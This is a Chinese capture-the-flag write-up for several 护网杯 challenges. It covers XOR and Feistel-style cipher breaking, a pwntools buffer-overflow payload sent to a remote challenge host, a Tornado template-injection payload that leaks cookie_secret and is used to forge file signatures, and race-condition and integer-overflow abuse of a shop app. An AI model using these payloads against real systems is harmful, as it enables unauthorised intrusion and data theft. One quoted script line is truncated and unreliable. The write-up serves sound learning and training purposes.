护网杯大赛告终,很难,但是学到了很多,码上自己所学的和大佬的WP,并奉上大佬的博客地址
题目是“easy xor”,这个题应该和异或运算相关。
下载文件之后发现这个字符串很像base64加密之后的
Base64解码试一下:
考虑到可能还有异或操作,虽然有乱码暂时可以接受。然后就是写异或的脚本了,不太清楚和谁异或,写个循环…吧,放脚本:
import base64
import sys
a = "AAoHAR1XICciX1IlXiBUVFFUIyRRJFRQVyUnVVMnUFcgIiNXXhs="
b=base64.b64decode(a.encode('utf-8'))
c = b.decode('utf-8')
for i in range(200):
for a in c:
f=ord(a)^i
print(chr(f),end="")
print()
运行一下,就出flag了
看题目…没有题目,下载附件发现里边有两个文件
fez.log
看过py文件之后很容易知道这是test fez(test,K) fez(m,K)的输出结果
从后往前看加密算法:
K是一个包含7组27位随机数的嵌套列表
M是flag加上几位随机数
Fez()函数调用了7次round()函数,round()函数是将输入的明文分成两部分,右半部分作为新序列的左半部分,新序列的右半部分通过异或产生。如此循环之后相当于明文的右半部分经过3次异或,而左半部分经过4次异或。
至此加密算法分析完成。
由于明文左右两部分均经过加密,因此考虑将K密钥组想象成一个密钥k
……….开始尝试………
假设输入p,执行fez(p,K)
R1=p_l
L1=xor(xor(p_l,p_r),K1)
第一轮加密之后,可看成对R1L1进行3轮加密
开始解码了….
已知test和fez(test,K)
所以,
tk_l=xor(test_r,k1)
tk_r=xor(xor(test_l,test_r),k2)
得到,
k1=xor(tk_l,test_r)
k2=xor(xor(test_l,test_r),tk_r)
由mk=fez(m,K)
得到,
mk_l=xor(m_l,k1)
mk_r=xor(xor(m_l,m_r),k2)
因此,
m_l=xor(k1,mk_l)
m_r=xor(xor(m_l,mk_r),k2)
分析完成,写脚本吧
#Lout=R^k1^k2^k4^k5
#Rout=L^R^k0^k1^k2^k3^k5
test = 'c8b84d08e5a8e60a49578f387fff5a90e9e7c181734bf05be4f5403c9ea24a0b8741a329991637e11fa69019cd3b01d7c95b65f5abd5'
test_out = '5c3660c27cb9b3785a5ce06022e88bc831017e882d39475ea85d919ad9e5ac498f86c553216cab1f8f7468353d46ba8971efa9ca8c81'
flag_out = '519ab6fc0e435da00516b844f8fe664bfe9445992f478dc650701739a11ffda5bbeb643159d7e8cd03a2104c798a1ca734b905ee6c76'
L = test.decode('hex')[0:27]
R = test.decode('hex')[27:54]
L2 = test_out.decode('hex')[0:27]
R2 = test_out.decode('hex')[27:54]
def xor(a,b):
assert len(a)==len(b)
c=""
for i in range(len(a)):
c+=chr(ord(a[i])^ord(b[i]))
return c
k1 = xor(L2,R)
k2 = xor(xor(L,R), R2)
L3 = flag_out.decode('hex')[0:27]
R3 = flag_out.decode('hex')[27:54]
R4 = xor(L3,k1)
L4 = xor(xor(k2,R3), R4)
print 'flag:', L4+R4
Flag:
先用IDA打开程序:
很明显可以通过溢出buf从而修改v7和v8的值满足判断和验证,所以构造脚本:
from pwn import *
#p=process("./task_gettingStart_ktQeERc")
p=remote("49.4.94.186",31936)
payload=""
payload+="A"*24+p64(0x7FFFFFFFFFFFFFFF)+p64(0x3FB999999999999A)
cmd="cat flag"
print p.recv()
print payload
p.send(payload)
print p.recv()
p.send(cmd)
p.interactive()
print p.recv()
就可以get到flag了。
打开链接:
分别打开,列出URL和内容:
http://117.78.26.79:31093/file?filename=Orz.txt&signature=d18abfad58ea53975f7cefbc16852b0c
Orz.txt
render()
http://117.78.26.79:31093/file?filename=hint.txt&signature=6724dcffafb1cbebd3034a845b3fcab3
hint.txt
md5(cookie_secret + md5(filename))
http://117.78.26.79:31093/file?filename=flag.txt&signature=a93589fc419617a5a0b91ab5443c5eaa
flag.txt
/fllllllllllag
发现就是
http://117.78.26.79:31093/file?filename=[文件名]&signature=[签名]
签名是md5(cookie_secret + md5(filename))
问题就是找到cookie_secret
,再看看Orz.txt
里有说render()
,看过大佬WP说这是生成模板的函数,所以注入STTI。
输入读取文件
http://117.78.26.79:31093/file?filename=t.txt&signature=6724dcffafb1cbebd3034a845b3fcab3
发现读取文件失败,但是从失败的链接中发现STTI漏洞
http://117.78.26.79:31093/error?msg=xxxx
然后就是测试是否存在过滤,发现过滤的字符有:
"%'()*-/=[\]_|
这时候大佬的WP又起作用了
并附上Tornado官方文档
构造payload为:
http://117.78.26.79:31093/error?msg={{handler.settings}}
得到cookie_secret
,利用这个cookie_secret
,可以写脚本,来获得相应文件的签名值。
附上大佬的脚本
import hashlib
cookie_secret=r'vjEg>W_%Vr.Jd
def md5(code):
temp = hashlib.md5(str(code)).hexdigest()
return temp
filename = '/fllllllllllag'
res = md5(cookie_secret + md5(filename))
print res
# 44f26315d2ed77e83fa715d9d6b48f96
跑完脚本,放进URL就出flag了
注册账号,进入系统,发现我们有¥20
看一下要求
思路很清晰
开局¥20
一包大辣条¥5
5包大辣条换一包辣条之王
9999999包辣条之王才能换flag
很明显按照正常思路是不可能买到辣条之王的,更别说要用那么多的辣条之王换flag,所以猜测会用到溢出,但是要溢出至少也需要一包辣条之王才行。
这时候万能的大佬WP成功上线,条件竞争,大佬经过试验发现一个账户同时登陆两个页面同时买辣条,只会扣一次钱,却会得到两根辣条。大佬用burpsuite进行条件竞争,设置多个线程:
然后发现成功的买到了15包大辣条
接下来考虑溢出(大佬的WP写着):
int: 2**32-1 = 4294967295
long: 2**63 -1 = 9223372036854775807
longlong: 2**64-1 = 18446744073709551615
但是要注意一点,这个题的逻辑是,numer*5<最大值
所以,其临界值应该为18446744073709551615 / 5 == 3689348814741910323
于是尝试3689348814741910323+1 == 3689348814741910324
溢出后的值比较小,在辣条的数量之内,从而兑换成功。
成功的购买到了很多辣条之王,可以兑换苦苦追寻的flag了。